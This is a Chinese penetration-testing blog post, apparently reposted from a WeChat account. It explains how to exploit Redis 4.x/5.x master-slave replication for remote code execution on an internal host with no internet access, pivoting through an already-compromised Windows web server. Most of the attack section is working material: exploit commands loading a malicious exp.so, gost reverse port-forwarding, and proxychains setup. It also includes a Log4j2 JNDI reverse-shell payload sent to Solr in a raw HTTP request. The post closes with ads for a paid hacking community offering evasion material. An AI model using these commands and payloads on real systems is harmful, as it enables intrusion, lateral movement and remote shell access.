不出网Redis主从复制RCE
2023-3-21 21:41:15 Author: 渗透安全团队(查看原文) 阅读量:112 收藏

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

公网IP:xxx.xxx.xxx.xxx

web跳板机IP(内网) windwos2012 : 172.16.0.24

redis:172.16.0.35

web当跳板机,我们这里直接当成已经拿下了web服务器,所以web服务器我们直接架个nps就可以

环境:外网 -> web -> 内网(不出网)

redis 我就打算用vulhub上的redis靶场

sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoyum makecache fast -yyum install docker-ce docker-ce-cli containerd.io -ysystemctl start dockersudo curl -L https://ghproxy.com/https://github.com/docker/compose/releases/download/1.16.1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-composechmod +x /usr/local/bin/docker-composesystemctl start dockeryum install git -ygit clone https://ghproxy.com/https://github.com/vulhub/vulhub.git

redis在公网部署的情况下打主从

直接使用

https://github.com/vulhub/redis-rogue-getshell

直接打即可

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

目前情况:

目标172.16.0.35不出网 跳板机172.16.0.24出网但是没有公网ip 然后我们的工具在vps 服务器xxx.xxx.xxx.xxx上 

主从复制要求我们vps开启一个端口让redis加载恶意exp.so ,但是redis不出网 也就没办法直接指定vps了

方案:

使用跳板机172.16.0.24 在上面开启端口转发

把跳板机一个端口映射到vps上

例如:

redis(172.16.0.35) -> 172.16.0.24:2222 -> xxx.xxx.xxx.xxx:2222

socks5代理:

在web入口机上创建npc连接

这里搭建socks5代理 配合上 proxychains4 就可以直接在vps上运行socks5代理了

proxychains4 centos7上安装方法:yum install epel-releaseyum install -y proxychains-ngvi /etc/proxychains.conf # 将socks4 127.0.0.1 9095改为socks5 127.0.0.1 45125

端口转发:

这里我直接用gost

https://github.com/ginuerzh/gost
gost-windows-amd64.exe -L=rtcp://:2222/xxx.xxx.xxx.xxx:2222

访问本地 http://127.0.0.1:2222 成功读取到转发请求

在vps上nc监听下2222

成功读取到了信息 理论上这样子就可以了

测试exp

proxychains4 python3 redis-master.py -r 172.16.0.35 -p 6379 -L 172.16.0.24 -P 2222 -f RedisModulesSDK/exp.so -c "id"

比如 log4j2的

一样是用vulhub的靶场

要用到1389 和 8080 还有就是反弹shell的 2222(前面有映射了 懒得改了)

gost-windows-amd64.exe -L=rtcp://:1389/xxx.xxx.xxx.xxx:1389gost-windows-amd64.exe -L=rtcp://:8080/xxx.xxx.xxx.xxx:8080

然后就是跑exp了

vps开nc

exp使用: JNDIExploit-1.2-SNAPSHOT.jar

${jndi:ldap://172.16.0.24:1389/Basic/ReverseShell/172.16.0.24/2222}# 后面的2222是nc的端口
GET /solr/admin/cores?action=${jndi:ldap://172.16.0.24:1389/Basic/ReverseShell/172.16.0.24/2222} HTTP/1.1Host: your-ip:8983Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Connection: close

快速获得了shell

也显示了流量来源


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247501378&idx=3&sn=973c5b5ee19d416e76001bfe869c69c4&chksm=c1763bedf601b2fbba01ba9c5420d7d6ba12a0a06876aa20f0980390c1911a89592e2d48b84e#rd
如有侵权请联系:admin#unsafe.sh